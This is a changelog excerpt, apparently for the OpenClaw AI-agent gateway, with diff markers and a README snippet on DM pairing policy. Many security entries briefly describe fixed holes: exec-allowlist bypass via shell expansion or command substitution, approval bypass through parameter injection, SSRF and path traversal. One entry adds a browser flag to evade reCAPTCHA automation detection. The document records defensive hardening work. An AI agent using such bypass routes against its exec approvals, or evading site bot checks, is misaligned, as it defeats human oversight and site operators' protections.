- Telegram: set webhook callback timeout handling to `onTimeout: "return"` (10s) so long-running update processing no longer emits webhook 500s and retry storms. (#16763) Thanks @chansearrington.
- Signal: preserve case-sensitive `group:` target IDs during normalization so mixed-case group IDs no longer fail with `Group not found`. (#16748) Thanks @repfigit.
- Feishu/Security: harden media URL fetching against SSRF and local file disclosure. (#16285) Thanks @mbelinky.
- Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent.
- Security/Agents: enforce workspace-root path bounds for `apply_patch` in non-sandbox mode to block traversal and symlink escape writes. Thanks @p80n-sec.
- Security/Agents: enforce symlink-escape checks for `apply_patch` delete hunks under `workspaceOnly`, while still allowing deleting the symlink itself. Thanks @p80n-sec.
- Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent.
- macOS: hard-limit unkeyed `openclaw://agent` deep links and ignore `deliver` / `to` / `channel` unless a valid unattended key is provided. Thanks @Cillian-Collins.
- Scripts/Security: validate GitHub logins and avoid shell invocation in `scripts/update-clawtributors.ts` to prevent command injection via malicious commit records. Thanks @scanleale.
- Security: fix Chutes manual OAuth login state validation by requiring the full redirect URL (reject code-only pastes) (thanks @aether-ai-agent).
- Security/Gateway: harden tool-supplied `gatewayUrl` overrides by restricting them to loopback or the configured `gateway.remote.url`. Thanks @p80n-sec.
- Security/Exec approvals: prevent safeBins allowlist bypass via shell expansion (host exec allowlist mode only; not enabled by default). Thanks @christos-eth.
- Security/Exec: harden PATH handling by disabling project-local `node_modules/.bin` bootstrapping by default, disallowing node-host `PATH` overrides, and spawning ACP servers via the current executable by default. Thanks @akhmittra.
- Security/Tlon: harden Urbit URL fetching against SSRF by blocking private/internal hosts by default (opt-in: `channels.tlon.allowPrivateNetwork`). Thanks @p80n-sec.
- Security/Voice Call (Telnyx): require webhook signature verification when receiving inbound events; configs without `telnyx.publicKey` are now rejected unless `skipSignatureVerification` is enabled. Thanks @p80n-sec.
- Security/Voice Call: require valid Twilio webhook signatures even when ngrok free tier loopback compatibility mode is enabled. Thanks @p80n-sec.
- Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek.
## 2026.2.13
### Changes
- Install: add optional Podman-based setup: `setup-podman.sh` for one-time host setup (openclaw user, image, launch script, systemd quadlet), `run-openclaw-podman.sh launch` / `launch setup`; systemd Quadlet unit for openclaw user service; docs for rootless container, openclaw user (subuid/subgid), and quadlet (troubleshooting). (#16273) Thanks @DarwinsBuddy.
- Discord: send voice messages with waveform previews from local audio files (including silent delivery). (#7253) Thanks @nyanjou.
- Discord: add configurable presence status/activity/type/url (custom status defaults to activity text). (#10855) Thanks @h0tp-ftw.
- Slack/Plugins: add thread-ownership outbound gating via `message_sending` hooks, including @-mention bypass tracking and Slack outbound hook wiring for cancel/modify behavior. (#15775) Thanks @DarlingtonDeveloper.
- Agents: add synthetic catalog support for `hf:zai-org/GLM-5`. (#15867) Thanks @battman21.
- Skills: remove duplicate `local-places` Google Places skill/proxy and keep `goplaces` as the single supported Google Places path.
- Onboarding/Providers: add first-class Hugging Face Inference provider support (provider wiring, onboarding auth choice/API key flow, and default-model selection), and preserve Hugging Face auth intent in auth-choice remapping (`tokenProvider=huggingface` with `authChoice=apiKey`) while skipping env-override prompts when an explicit token is provided. (#13472) Thanks @Josephrp.
- Onboarding/Providers: add `minimax-api-key-cn` auth choice for the MiniMax China API endpoint. (#15191) Thanks @liuy.
### Breaking
- Config/State: removed legacy `.moltbot` auto-detection/migration and `moltbot.json` config candidates. If you still have state/config under `~/.moltbot`, move it to `~/.openclaw` (recommended) or set `OPENCLAW_STATE_DIR` / `OPENCLAW_CONFIG_PATH` explicitly.
### Fixes
- Gateway/Auth: add trusted-proxy mode hardening follow-ups by keeping `OPENCLAW_GATEWAY_*` env compatibility, auto-normalizing invalid setup combinations in interactive `gateway configure` (trusted-proxy forces `bind=lan` and disables Tailscale serve/funnel), and suppressing shared-secret/rate-limit audit findings that do not apply to trusted-proxy deployments. (#15940) Thanks @nickytonline.
- Docs/Hooks: update hooks documentation URLs to the new `/automation/hooks` location. (#16165) Thanks @nicholascyh.
- Security/Audit: warn when `gateway.tools.allow` re-enables default-denied tools over HTTP `POST /tools/invoke`, since this can increase RCE blast radius if the gateway is reachable.
- Security/Plugins/Hooks: harden npm-based installs by restricting specs to registry packages only, passing `--ignore-scripts` to `npm pack`, and cleaning up temp install directories.
- Security/Sessions: preserve inter-session input provenance for routed prompts so delegated/internal sessions are not treated as direct external user instructions. Thanks @anbecker.
- Feishu: stop persistent Typing reaction on NO_REPLY/suppressed runs by wiring reply-dispatcher cleanup to remove typing indicators. (#15464) Thanks @arosstale.
- Agents: strip leading empty lines from `sanitizeUserFacingText` output and normalize whitespace-only outputs to empty text. (#16158) Thanks @mcinteerj.
- BlueBubbles: gracefully degrade when Private API is disabled by filtering private-only actions, skipping private-only reactions/reply effects, and avoiding private reply markers so non-private flows remain usable. (#16002) Thanks @L-U-C-K-Y.
- Outbound: add a write-ahead delivery queue with crash-recovery retries to prevent lost outbound messages after gateway restarts. (#15636) Thanks @nabbilkhan, @thewilloftheshadow.
- Auto-reply/Threading: auto-inject implicit reply threading so `replyToMode` works without requiring model-emitted `[[reply_to_current]]`, while preserving `replyToMode: "off"` behavior for implicit Slack replies and keeping block-streaming chunk coalescing stable under `replyToMode: "first"`. (#14976) Thanks @Diaspar4u.
-Sandbox: pass configured `sandbox.docker.env` variables to sandbox containers at `docker create` time. (#15138) Thanks @stevebot-alive.
-Onboarding/CLI: restore terminal state without resuming paused `stdin`, so onboarding exits cleanly after choosing Web UI and the installer returns instead of appearing stuck.
- macOS Voice Wake: fix a crash in trigger trimming for CJK/Unicode transcripts by matching and slicing on original-string ranges instead of transformed-string indices. (#11052) Thanks @Flash-LHR.
- Heartbeat: prevent scheduler silent-death races during runner reloads, preserve retry cooldown backoff under wake bursts, and prioritize user/action wake causes over interval/retry reasons when coalescing. (#15108) Thanks @joeykrug.
- Outbound targets: fail closed for WhatsApp/Twitch/Google Chat fallback paths so invalid or missing targets are dropped instead of rerouted, and align resolver hints with strict target requirements. (#13578) Thanks @mcaxtr.
- Exec/Allowlist: allow multiline heredoc bodies (`<<`, `<<-`) while keeping multiline non-heredoc shell commands blocked, so exec approval parsing permits heredoc input safely without allowing general newline command chaining. (#13811) Thanks @mcaxtr.
- Docs/Mermaid: remove hardcoded Mermaid init theme blocks from four docs diagrams so dark mode inherits readable theme defaults. (#15157) Thanks @heytulsiprasad.
-Auto-reply/Threading: honor explicit `[[reply_to_*]]` tags even when `replyToMode` is `off`. (#16174) Thanks @aldoeliacim.
-Plugins/Threading: rename `allowTagsWhenOff` to `allowExplicitReplyTagsWhenOff` and keep the old key as a deprecated alias for compatibility. (#16189)
- Outbound/Threading: pass `replyTo` and `threadId` from `message send` tool actions through the core outbound send path to channel adapters, preserving thread/reply routing. (#14948) Thanks @mcaxtr.
- Auto-reply/Media: allow image-only inbound messages (no caption) to reach the agent instead of short-circuiting as empty text, and preserve thread context in queued/followup prompt bodies for media-only runs. (#11916) Thanks @arosstale.
- Discord: route autoThread replies to existing threads instead of the root channel. (#8302) Thanks @gavinbmoore, @thewilloftheshadow.
- Web UI: add `img` to DOMPurify allowed tags and `src`/`alt` to allowed attributes so markdown images render in webchat instead of being stripped. (#15437) Thanks @lailoo.
- Telegram/Matrix: treat MP3 and M4A (including `audio/mp4`) as voice-compatible for `asVoice` routing, and keep WAV/AAC falling back to regular audio sends. (#15438) Thanks @azade-c.
- WhatsApp: preserve outbound document filenames for web-session document sends instead of always sending `"file"`. (#15594) Thanks @TsekaLuk.
- Telegram: cap bot menu registration to Telegram's 100-command limit with an overflow warning while keeping typed hidden commands available. (#15844) Thanks @battman21.
- Telegram: scope skill commands to the resolved agent for default accounts so `setMyCommands` no longer triggers `BOT_COMMANDS_TOO_MUCH` when multiple agents are configured. (#15599)
- Discord: avoid misrouting numeric guild allowlist entries to `/channels/<guildId>` by prefixing guild-only inputs with `guild:` during resolution. (#12326) Thanks @headswim.
- Memory/QMD: default `memory.qmd.searchMode` to `search` for faster CPU-only recall and always scope `search`/`vsearch` requests to managed collections (auto-falling back to `query` when required). (#16047) Thanks @togotago.
- Memory/LanceDB: add configurable `captureMaxChars` for auto-capture while keeping the legacy 500-char default. (#16641) Thanks @ciberponk.
- MS Teams: preserve parsed mention entities/text when appending OneDrive fallback file links, and accept broader real-world Teams mention ID formats (`29:...`, `8:orgid:...`) while still rejecting placeholder patterns. (#15436) Thanks @hyojin.
- Media: classify `text/*` MIME types as documents in media-kind routing so text attachments are no longer treated as unknown. (#12237) Thanks @arosstale.
- Inbound/Web UI: preserve literal `\n` sequences when normalizing inbound text so Windows paths like `C:\\Work\\nxxx\\README.md` are not corrupted. (#11547) Thanks @mcaxtr.
- TUI/Streaming: preserve richer streamed assistant text when final payload drops pre-tool-call text blocks, while keeping non-empty final payload authoritative for plain-text updates. (#15452) Thanks @TsekaLuk.
- Providers/MiniMax: switch implicit MiniMax API-key provider from `openai-completions` to `anthropic-messages` with the correct Anthropic-compatible base URL, fixing `invalid role: developer (2013)` errors on MiniMax M2.5. (#15275) Thanks @lailoo.
- Ollama/Agents: use resolved model/provider base URLs for native `/api/chat` streaming (including aliased providers), normalize `/v1` endpoints, and forward abort + `maxTokens` stream options for reliable cancellation and token caps. (#11853) Thanks @BrokenFinger98.
- OpenAI Codex/Spark: implement end-to-end `gpt-5.3-codex-spark` support across fallback/thinking/model resolution and `models list` forward-compat visibility. (#14990, #15174) Thanks @L-U-C-K-Y, @loiie45e.
- Agents/Codex: allow `gpt-5.3-codex-spark` in forward-compat fallback, live model filtering, and thinking presets, and fix model-picker recognition for spark. (#14990) Thanks @L-U-C-K-Y.
- Models/Codex: resolve configured `openai-codex/gpt-5.3-codex-spark` through forward-compat fallback during `models list`, so it is not incorrectly tagged as missing when runtime resolution succeeds. (#15174) Thanks @loiie45e.
- OpenAI Codex/Auth: bridge OpenClaw OAuth profiles into `pi``auth.json` so model discovery and models-list registry resolution can use Codex OAuth credentials. (#15184) Thanks @loiie45e.
- Auth/OpenAI Codex: share OAuth login handling across onboarding and `models auth login --provider openai-codex`, keep onboarding alive when OAuth fails, and surface a direct OAuth help note instead of terminating the wizard. (#15406, follow-up to #14552) Thanks @zhiluo20.
- Onboarding/Providers: add vLLM as an onboarding provider with model discovery, auth profile wiring, and non-interactive auth-choice validation. (#12577) Thanks @gejifeng.
- Onboarding/CLI: restore terminal state without resuming paused `stdin`, so onboarding exits cleanly (including Docker TTY installs that would otherwise hang). (#12972) Thanks @vincentkoc.
- Signal/Install: auto-install `signal-cli` via Homebrew on non-x64 Linux architectures, avoiding x86_64 native binary `Exec format error` failures on arm64/arm hosts. (#15443) Thanks @jogvan-k.
- macOS Voice Wake: fix a crash in trigger trimming for CJK/Unicode transcripts by matching and slicing on original-string ranges instead of transformed-string indices. (#11052) Thanks @Flash-LHR.
- Mattermost (plugin): retry websocket monitor connections with exponential backoff and abort-aware teardown so transient connect failures no longer permanently stop monitoring. (#14962) Thanks @mcaxtr.
- Discord/Agents: apply channel/group `historyLimit` during embedded-runner history compaction to prevent long-running channel sessions from bypassing truncation and overflowing context windows. (#11224) Thanks @shadril238.
- Outbound targets: fail closed for WhatsApp/Twitch/Google Chat fallback paths so invalid or missing targets are dropped instead of rerouted, and align resolver hints with strict target requirements. (#13578) Thanks @mcaxtr.
- Gateway/Restart: clear stale command-queue and heartbeat wake runtime state after SIGUSR1 in-process restarts to prevent zombie gateway behavior where queued work stops draining. (#15195) Thanks @joeykrug.
- Heartbeat: prevent scheduler silent-death races during runner reloads, preserve retry cooldown backoff under wake bursts, and prioritize user/action wake causes over interval/retry reasons when coalescing. (#15108) Thanks @joeykrug.
- Heartbeat: allow explicit wake (`wake`) and hook wake (`hook:*`) reasons to run even when `HEARTBEAT.md` is effectively empty so queued system events are processed. (#14527) Thanks @arosstale.
- Auto-reply/Heartbeat: strip sentence-ending `HEARTBEAT_OK` tokens even when followed by up to 4 punctuation characters, while preserving surrounding sentence punctuation. (#15847) Thanks @Spacefish.
- Sessions/Agents: pass `agentId` when resolving existing transcript paths in reply runs so non-default agents and heartbeat/chat handlers no longer fail with `Session file path must be within sessions directory`. (#15141) Thanks @Goldenmonstew.
- Sessions/Agents: pass `agentId` through status and usage transcript-resolution paths (auto-reply, gateway usage APIs, and session cost/log loaders) so non-default agents can resolve absolute session files without path-validation failures. (#15103) Thanks @jalehman.
- Sessions: archive previous transcript files on `/new` and `/reset` session resets (including gateway `sessions.reset`) so stale transcripts do not accumulate on disk. (#14869) Thanks @mcaxtr.
- Status/Sessions: stop clamping derived `totalTokens` to context-window size, keep prompt-token snapshots wired through session accounting, and surface context usage as unknown when fresh snapshot data is missing to avoid false 100% reports. (#15114) Thanks @echoVic.
- Gateway/Routing: speed up hot paths for session listing (derived titles + previews), WS broadcast, and binding resolution.
- Gateway/Sessions: cache derived title + last-message transcript reads to speed up repeated sessions list refreshes.
- CLI/Completion: route plugin-load logs to stderr and write generated completion scripts directly to stdout to avoid `source <(openclaw completion ...)` corruption. (#15481) Thanks @arosstale.
- CLI: lazily load outbound provider dependencies and remove forced success-path exits so commands terminate naturally without killing intentional long-running foreground actions. (#12906) Thanks @DrCrinkle.
- CLI: speed up startup by lazily registering core commands (keeps rich `--help` while reducing cold-start overhead).
- Security/Gateway + ACP: block high-risk tools (`sessions_spawn`, `sessions_send`, `gateway`, `whatsapp_login`) from HTTP `/tools/invoke` by default with `gateway.tools.{allow,deny}` overrides, and harden ACP permission selection to fail closed when tool identity/options are ambiguous while supporting `allow_always`/`reject_always`. (#15390) Thanks @aether-ai-agent.
- Security/ACP: prompt for non-read/search permission requests in ACP clients (reduces silent tool approval risk). Thanks @aether-ai-agent.
- Security/Gateway: breaking default-behavior change - canvas IP-based auth fallback now only accepts machine-scoped addresses (RFC1918, link-local, ULA IPv6, CGNAT); public-source IP matches now require bearer token auth. (#14661) Thanks @sumleo.
- Security/Link understanding: block loopback/internal host patterns and private/mapped IPv6 addresses in extracted URL handling to close SSRF bypasses in link CLI flows. (#15604) Thanks @AI-Reviewer-QS.
- Security/Browser: constrain `POST /trace/stop`, `POST /wait/download`, and `POST /download` output paths to OpenClaw temp roots and reject traversal/escape paths.
- Security/Browser: sanitize download `suggestedFilename` to keep implicit `wait/download` paths within the downloads root. Thanks @1seal.
- Security/Browser: confine `POST /hooks/file-chooser` upload paths to an OpenClaw temp uploads root and reject traversal/escape paths. Thanks @1seal.
- Security/Browser: require auth for the sandbox browser bridge server (protects `/profiles`, `/tabs`, CDP URLs, and other control endpoints). Thanks @jackhax.
- Security: bind local helper servers to loopback and fail closed on non-loopback OAuth callback hosts (reduces localhost/LAN attack surface).
- Security/Canvas: serve A2UI assets via the shared safe-open path (`openFileWithinRoot`) to close traversal/TOCTOU gaps, with traversal and symlink regression coverage. (#10525) Thanks @abdelsfane.
- Security/WhatsApp: enforce `0o600` on `creds.json` and `creds.json.bak` on save/backup/restore paths to reduce credential file exposure. (#10529) Thanks @abdelsfane.
- Security/Gateway: sanitize and truncate untrusted WebSocket header values in pre-handshake close logs to reduce log-poisoning risk. Thanks @thewilloftheshadow.
- Security/Audit: add misconfiguration checks for sandbox Docker config with sandbox mode off, ineffective `gateway.nodes.denyCommands` entries, global minimal tool-profile overrides by agent profiles, and permissive extension-plugin tool reachability.
- Security/Audit: distinguish external webhooks (`hooks.enabled`) from internal hooks (`hooks.internal.enabled`) in attack-surface summaries to avoid false exposure signals when only internal hooks are enabled. (#13474) Thanks @mcaxtr.
- Security/Onboarding: clarify multi-user DM isolation remediation with explicit `openclaw config set session.dmScope ...` commands in security audit, doctor security, and channel onboarding guidance. (#13129) Thanks @VintLin.
- Security/Gateway: bind node `system.run` approval overrides to gateway exec-approval records (runId-bound), preventing approval-bypass via `node.invoke` param injection. Thanks @222n5.
- Agents/Nodes: harden node exec approval decision handling in the `nodes` tool run path by failing closed on unexpected approval decisions, and add regression coverage for approval-required retry/deny/timeout flows. (#4726) Thanks @rmorse.
- Android/Nodes: harden `app.update` by requiring HTTPS and gateway-host URL matching plus SHA-256 verification, stream URL camera downloads to disk with size guards to avoid memory spikes, and stop signing release builds with debug keys. (#13541) Thanks @smartprogrammer93.
- Routing: enforce strict binding-scope matching across peer/guild/team/roles so peer-scoped Discord/Slack bindings no longer match unrelated guild/team contexts or fallback tiers. (#15274) Thanks @lailoo.
- Exec/Allowlist: allow multiline heredoc bodies (`<<`, `<<-`) while keeping multiline non-heredoc shell commands blocked, so exec approval parsing permits heredoc input safely without allowing general newline command chaining. (#13811) Thanks @mcaxtr.
- Config: preserve `${VAR}` env references when writing config files so `openclaw config set/apply/patch` does not persist secrets to disk. Thanks @thewilloftheshadow.
- Config: remove a cross-request env-snapshot race in config writes by carrying read-time env context into write calls per request, preserving `${VAR}` refs safely under concurrent gateway config mutations. (#11560) Thanks @akoscz.
- Config: log overwrite audit entries (path, backup target, and hash transition) whenever an existing config file is replaced, improving traceability for unexpected config clobbers.
- Config: keep legacy audio transcription migration strict by rejecting non-string/unsafe command tokens while still migrating valid custom script executables. (#5042) Thanks @shayan919293.
- Config: accept `$schema` key in config file so JSON Schema editor tooling works without validation errors. (#14998)
- Gateway/Tools Invoke: sanitize `/tools/invoke` execution failures while preserving `400` for tool input errors and returning `500` for unexpected runtime failures, with regression coverage and docs updates. (#13185) Thanks @davidrudduck.
- Gateway/Hooks: preserve `408` for hook request-body timeout responses while keeping bounded auth-failure cache eviction behavior, with timeout-status regression coverage. (#15848) Thanks @AI-Reviewer-QS.
- Plugins/Hooks: fire `before_tool_call` hook exactly once per tool invocation in embedded runs by removing duplicate dispatch paths while preserving parameter mutation semantics. (#15635) Thanks @lailoo.
- Agents/Transcript policy: sanitize OpenAI/Codex tool-call ids during transcript policy normalization to prevent invalid tool-call identifiers from propagating into session history. (#15279) Thanks @divisonofficer.
- Agents/Image tool: cap image-analysis completion `maxTokens` by model capability (`min(4096, model.maxTokens)`) to avoid over-limit provider failures while still preventing truncation. (#11770) Thanks @detecti1.
- Agents/Compaction: centralize exec default resolution in the shared tool factory so per-agent `tools.exec` overrides (host/security/ask/node and related defaults) persist across compaction retries. (#15833) Thanks @napetrov.
- Gateway/Agents: stop injecting a phantom `main` agent into gateway agent listings when `agents.list` explicitly excludes it. (#11450) Thanks @arosstale.
- Process/Exec: avoid shell execution for `.exe` commands on Windows so env overrides work reliably in `runCommandWithTimeout`. Thanks @thewilloftheshadow.
- Daemon/Windows: preserve literal backslashes in `gateway.cmd` command parsing so drive and UNC paths are not corrupted in runtime checks and doctor entrypoint comparisons. (#15642) Thanks @arosstale.
- Sandbox: pass configured `sandbox.docker.env` variables to sandbox containers at `docker create` time. (#15138) Thanks @stevebot-alive.
- Voice Call: route webhook runtime event handling through shared manager event logic so rejected inbound hangups are idempotent in production, with regression tests for duplicate reject events and provider-call-ID remapping parity. (#15892) Thanks @dcantu96.
- Cron: add regression coverage for announce-mode isolated jobs so runs that already report `delivered: true` do not enqueue duplicate main-session relays, including delivery configs where `mode` is omitted and defaults to announce. (#15737) Thanks @brandonwise.
- Cron: honor `deleteAfterRun` in isolated announce delivery by mapping it to subagent announce cleanup mode, so cron run sessions configured for deletion are removed after completion. (#15368) Thanks @arosstale.
- Web tools/web_fetch: prefer `text/markdown` responses for Cloudflare Markdown for Agents, add `cf-markdown` extraction for markdown bodies, and redact fetched URLs in `x-markdown-tokens` debug logs to avoid leaking raw paths/query params. (#15376) Thanks @Yaxuan42.
- Tools/web_search: support `freshness` for the Perplexity provider by mapping `pd`/`pw`/`pm`/`py` to Perplexity `search_recency_filter` values and including freshness in the Perplexity cache key. (#15343) Thanks @echoVic.
- Memory: switch default local embedding model to the QAT `embeddinggemma-300m-qat-Q8_0` variant for better quality at the same footprint. (#15429) Thanks @azade-c.
- Docs/Mermaid: remove hardcoded Mermaid init theme blocks from four docs diagrams so dark mode inherits readable theme defaults. (#15157) Thanks @heytulsiprasad.
- Security/Pairing: generate 256-bit base64url device and node pairing tokens and use byte-safe constant-time verification to avoid token-compare edge-case failures. (#16535) Thanks @FaizanKolega, @gumadeiras.
- Gateway: handle async `EPIPE` on stdout/stderr during shutdown. (#13414) Thanks @keshav55.
- Gateway/Control UI: resolve missing dashboard assets when `openclaw` is installed globally via symlink-based Node managers (nvm/fnm/n/Homebrew). (#14919) Thanks @aynorica.
- Gateway/Control UI: keep partial assistant output visible when runs are aborted, and persist aborted partials to session transcripts for follow-up context.
- Cron: use requested `agentId` for isolated job auth resolution. (#13983) Thanks @0xRaini.
- Cron: prevent cron jobs from skipping execution when `nextRunAtMs` advances. (#14068) Thanks @WalterSumbon.
- Cron: pass `agentId` to `runHeartbeatOnce` for main-session jobs. (#14140) Thanks @ishikawa-pro.
- Cron: re-arm timers when `onTimer` fires while a job is still executing. (#14233) Thanks @tomron87.
- Cron: prevent duplicate fires when multiple jobs trigger simultaneously. (#14256) Thanks @xinhuagu.
- Cron: prevent duplicate announce-mode isolated cron deliveries, and keep main-session fallback active when best-effort structured delivery attempts fail to send any message. (#15739) Thanks @widingmarcus-cyber.
- Cron: isolate scheduler errors so one bad job does not break all jobs. (#14385) Thanks @MarvinDontPanic.
- Cron: prevent one-shot `at` jobs from re-firing on restart after skipped/errored runs. (#13878) Thanks @lailoo.
- Heartbeat: prevent scheduler stalls on unexpected run errors and avoid immediate rerun loops after `requests-in-flight` skips. (#14901) Thanks @joeykrug.
- Slack: change default replyToMode from "off" to "all". (#14364) Thanks @nm-de.
- Slack: honor `limit` for `emoji-list` actions across core and extension adapters, with capped emoji-list responses in the Slack action handler. (#4293) Thanks @mcaxtr.
- Slack: detect control commands when channel messages start with bot mention prefixes (for example, `@Bot /new`). (#14142) Thanks @beefiker.
- Slack: include thread reply metadata in inbound message footer context (`thread_ts`, `parent_user_id`) while keeping top-level `thread_ts == ts` events unthreaded. (#14625) Thanks @bennewton999.
- Signal: enforce E.164 validation for the Signal bot account prompt so mistyped numbers are caught early. (#15063) Thanks @Duartemartins.
- Discord: process DM reactions instead of silently dropping them. (#10418) Thanks @mcaxtr.
- Discord: treat Administrator as full permissions in channel permission checks. Thanks @thewilloftheshadow.
- Discord: respect replyToMode in threads. (#11062) Thanks @cordx56.
- Discord: add optional gateway proxy support for WebSocket connections via `channels.discord.proxy`. (#10400) Thanks @winter-loo, @thewilloftheshadow.
- Browser: add Chrome launch flag `--disable-blink-features=AutomationControlled` to reduce `navigator.webdriver` automation detection issues on reCAPTCHA-protected sites. (#10735) Thanks @Milofax.
- Heartbeat: filter noise-only system events so scheduled reminder notifications do not fire when cron runs carry only heartbeat markers. (#13317) Thanks @pvtclawn.
- Signal: render mention placeholders as `@uuid`/`@phone` so mention gating and Clawdbot targeting work. (#2013) Thanks @alexgleason.
@@ -83,6 +411,7 @@ Docs: https://docs.openclaw.ai
- Onboarding/Providers: update MiniMax API default/recommended models from M2.1 to M2.5, add M2.5/M2.5-Lightning model entries, and include `minimax-m2.5` in modern model filtering. (#14865) Thanks @adao-max.
- Ollama: use configured `models.providers.ollama.baseUrl` for model discovery and normalize `/v1` endpoints to the native Ollama API root. (#14131) Thanks @shtse8.
- Voice Call: pass Twilio stream auth token via `<Parameter>` instead of query string. (#14029) Thanks @mcwigglesmcgee.
- Config/Models: allow full `models.providers.*.models[*].compat` keys used by `openai-completions` (`thinkingFormat`, `supportsStrictMode`, and streaming/tool-result compatibility flags) so valid provider overrides no longer fail strict config validation. (#11063) Thanks @ikari-pl.
- Feishu: pass `Buffer` directly to the Feishu SDK upload APIs instead of `Readable.from(...)` to avoid form-data upload failures. (#10345) Thanks @youngerstyle.
- Feishu: trigger mention-gated group handling only when the bot itself is mentioned (not just any mention). (#11088) Thanks @openperf.
- Feishu: probe status uses the resolved account context for multi-account credential checks. (#11233) Thanks @onevcat.
- Hooks/Tools: dispatch `before_tool_call` and `after_tool_call` hooks from both tool execution paths with rebased conflict fixes. (#15012) Thanks @Patrick-Barletta, @Takhoffman.
- Hooks: replace loader `console.*` output with subsystem logger messages so hook loading errors/warnings route through standard logging. (#11029) Thanks @shadril238.
- Discord: allow channel-edit to archive/lock threads and set auto-archive duration. (#5542) Thanks @stumct.
- Discord tests: use a partial @buape/carbon mock in slash command coverage. (#13262) Thanks @arosstale.
- Tests: update thread ID handling in Slack message collection tests. (#14108) Thanks @swizzmagik.
- Security/Telegram: breaking default-behavior change — standalone canvas host + Telegram webhook listeners now bind loopback (`127.0.0.1`) instead of `0.0.0.0`; set `channels.telegram.webhookHost` when external ingress is required. (#13184) Thanks @davidrudduck.
- Telegram: recover proactive sends when stale topic thread IDs are used by retrying without `message_thread_id`. (#11620)
- Discord: auto-create forum/media thread posts on send, with chunked follow-up replies and media handling for forum sends. (#12380) Thanks @magendary, @thewilloftheshadow.
- Discord: cap gateway reconnect attempts to avoid infinite retry loops. (#12230) Thanks @Yida-Dev.
- Memory/QMD: add `memory.qmd.searchMode` to choose `query`, `search`, or `vsearch` recall mode. (#9967, #10084)
- Media understanding: recognize `.caf` audio attachments for transcription. (#10982) Thanks @succ985.
- State dir: honor `OPENCLAW_STATE_DIR` for default device identity and canvas storage paths. (#4824) Thanks @kossoy.
- Doctor/State dir: suppress repeated legacy migration warnings only for valid symlink mirrors, while keeping warnings for empty or invalid legacy trees. (#11709) Thanks @gumadeiras.
- Tests: harden flaky hotspots by removing timer sleeps, consolidating onboarding provider-auth coverage, and improving memory test realism. (#11598) Thanks @gumadeiras.
- macOS: honor Nix-managed defaults suite (`ai.openclaw.mac`) for nixMode to prevent onboarding from reappearing after bundle-id churn. (#12205) Thanks @joshp123.
- Matrix: add multi-account support via `channels.matrix.accounts`; use per-account config for dm policy, allowFrom, groups, and other settings; serialize account startup to avoid race condition. (#7286, #3165, #3085) Thanks @emonty.
- TTS: add missing OpenAI voices (ballad, cedar, juniper, marin, verse) to the allowlist so they are recognized instead of silently falling back to Edge TTS. (#2393)
- Control UI: add hardened fallback for asset resolution in global npm installs. (#4855) Thanks @anapivirtua.
- Update: remove dead restore control-ui step that failed on gitignored dist/ output.
- Update: avoid wiping prebuilt Control UI assets during dev auto-builds (`tsdown --no-clean`), run update doctor via `openclaw.mjs`, and auto-restore missing UI assets after doctor. (#10146) Thanks @gumadeiras.
- Models: add forward-compat fallback for `openai-codex/gpt-5.3-codex` when model registry hasn't discovered it yet. (#9989) Thanks @w1kke.
- Auto-reply/Docs: normalize `extra-high` (and spaced variants) to `xhigh` for Codex thinking levels, and align Codex 5.3 FAQ examples. (#9976) Thanks @slonce70.
- Compaction: remove orphaned `tool_result` messages during history pruning to prevent session corruption from aborted tool calls. (#9868, fixes #9769, #9724, #9672)
- Telegram: pass `parentPeer` for forum topic binding inheritance so group-level bindings apply to all topics within the group. (#9789, fixes #9545, #9351)
- CLI: pass `--disable-warning=ExperimentalWarning` as a Node CLI option when respawning (avoid disallowed `NODE_OPTIONS` usage; fixes npm pack). (#9691) Thanks @18-RAJAT.
- CLI: resolve bundled Chrome extension assets by walking up to the nearest assets directory; add resolver and clipboard tests. (#8914) Thanks @kelvinCB.
- Tests: stabilize Windows ACL coverage with deterministic os.userInfo mocking. (#9335) Thanks @M00N7682.
- Exec approvals: coerce bare string allowlist entries to objects to prevent allowlist corruption. (#9903, fixes #9790) Thanks @mcaxtr.
- Exec approvals: ensure two-phase approval registration/decision flow works reliably by validating `twoPhase` requests and exposing `waitDecision` as an approvals-scoped gateway method. (#3357, fixes #2402) Thanks @ramin-shirali.
- TUI/Gateway: handle non-streaming finals, refresh history for non-local chat runs, and avoid event gap warnings for targeted tool streams. (#8432) Thanks @gumadeiras.
- Shell completion: auto-detect and migrate slow dynamic patterns to cached files for faster terminal startup; add completion health checks to doctor/update/onboard.
- Auth: read Codex CLI keychain tokens on macOS before falling back to `~/.codex/auth.json`, preventing stale refresh tokens from breaking gateway live tests.
- Security/Exec approvals: reject shell command substitution (`$()` and backticks) inside double quotes to prevent exec allowlist bypass when exec allowlist mode is explicitly enabled (the default configuration does not use this mode). Thanks @simecek.
- iOS/macOS: share `AsyncTimeout`, require explicit `bridgeStableID` on connect, and harden tool display defaults (avoids missing-resource label fallbacks).
- Telegram: serialize media-group processing to avoid missed albums under load.
@@ -112,9 +112,9 @@ Full security guide: [Security](https://docs.openclaw.ai/gateway/security)
Default behavior on Telegram/WhatsApp/Signal/iMessage/Microsoft Teams/Discord/Google Chat/Slack:
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dm.policy="pairing"` / `channels.slack.dm.policy="pairing"`): unknown senders receive a short pairing code and the bot does not process their message.
- **DM pairing** (`dmPolicy="pairing"` / `channels.discord.dmPolicy="pairing"` / `channels.slack.dmPolicy="pairing"`; legacy: `channels.discord.dm.policy`, `channels.slack.dm.policy`): unknown senders receive a short pairing code and the bot does not process their message.
- Approve with: `openclaw pairing approve <channel> <code>` (then the sender is added to a local allowlist store).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.dm.allowFrom` / `channels.slack.dm.allowFrom`).
- Public inbound DMs require an explicit opt-in: set `dmPolicy="open"` and include `"*"` in the channel allowlist (`allowFrom` / `channels.discord.allowFrom` /`channels.slack.allowFrom`; legacy: `channels.discord.dm.allowFrom`,`channels.slack.dm.allowFrom`).
Run `openclaw doctor` to surface risky/misconfigured DM policies.
- Set `DISCORD_BOT_TOKEN` or `channels.discord.token` (env wins).
